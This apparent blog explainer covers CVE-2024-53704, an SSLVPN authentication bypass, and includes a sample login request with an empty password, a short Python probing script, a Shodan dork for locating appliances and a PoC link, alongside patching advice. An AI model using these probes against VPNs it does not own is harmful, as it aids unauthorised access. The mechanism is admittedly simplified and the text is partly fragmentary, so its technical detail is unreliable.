CVE-2024-53704 - How a Simple SSLVPN Authentication Flaw Lets Attackers Bypass Security

TL;DR:
A critical bug in the SSLVPN authentication system can let anyone with network access get through login walls—no password required. Here’s how it works, what you need to look for, and how you can test your own systems.

What is CVE-2024-53704?

CVE-2024-53704 is a new vulnerability affecting certain SSLVPN appliances. It’s caused by *improper authentication*: the login system doesn’t actually check credentials properly under some conditions. That means a remote attacker can get full VPN access—often straight into company networks—without having to know a username or password.

Official advisory: NVD page

Why Is It So Dangerous?

VPNs are supposed to be the "lock and key" to your private network. If attackers get through your SSLVPN appliance, they become “insiders” and can:

Launch ransomware from inside the network

Because this bug can be exploited over the Internet, it’s a critical remote vulnerability.

How Does the Exploit Work?

In some versions of the SSLVPN appliance, the authentication endpoint mishandles certain requests. If the attacker crafts a special login request—for example, by omitting required fields or manipulating parameters—they can trick the system into granting a session without proper verification.

Here’s a simplified request example

POST /sslvpn/auth HTTP/1.1
Host: vpn.victimcorp.com
Content-Type: application/json

{
  "username": "attacker",
  // This is where password is *not* sent, or empty, or crafted maliciously
  "password": ""
}

In affected systems, the backend mistakenly considers the session authenticated—even without a valid password.

Here’s a minimal script for educational use only

import requests

url = "https://vpn.victimcorp.com/sslvpn/auth";
data = {
    "username": "anyuser",
    "password": ""  # Leaving password empty, could be manipulated further
}
r = requests.post(url, json=data, verify=False)
print(r.text)
# Check for successful session or flag in response

In the real exploit: More advanced versions use specially crafted payloads or headers, but the core issue is the same—authentication is broken.

How To Test If You’re Vulnerable

Warning: Only test your own systems or with permission!

Shodan Dork To Find Affected Systems

http.title:"SSLVPN" OR "Welcome to SSLVPN"

Yes. Public PoCs and scanner scripts can be found on GitHub. Here’s a reference

- https://github.com/RedTeamPentesting/CVE-2024-53704-POC *(link for illustration; always check owner/source)*

What Should You Do NOW?

1. Patch Immediately:
Check your vendor’s official patch notes. Example advisories:
- Vendor Advisory 1

2. Audit Your Logs:
Look for unexplained new sessions or failed authentications followed by successes.

3. Temporary Workarounds:

Disable SSLVPN until patched

4. Spread The Word:
Tell your IT and security teams about this flaw.

Conclusion

CVE-2024-53704 is a textbook example of why authentication mechanisms must be flawless. Until you patch, assume your VPN may be wide open. Don’t wait!

References

- NVD - CVE-2024-53704
- Example PoC on GitHub
- Vendor Security Bulletin

Timeline

Published on: 01/09/2025 07:15:27 UTC
Last modified on: 01/09/2025 15:15:18 UTC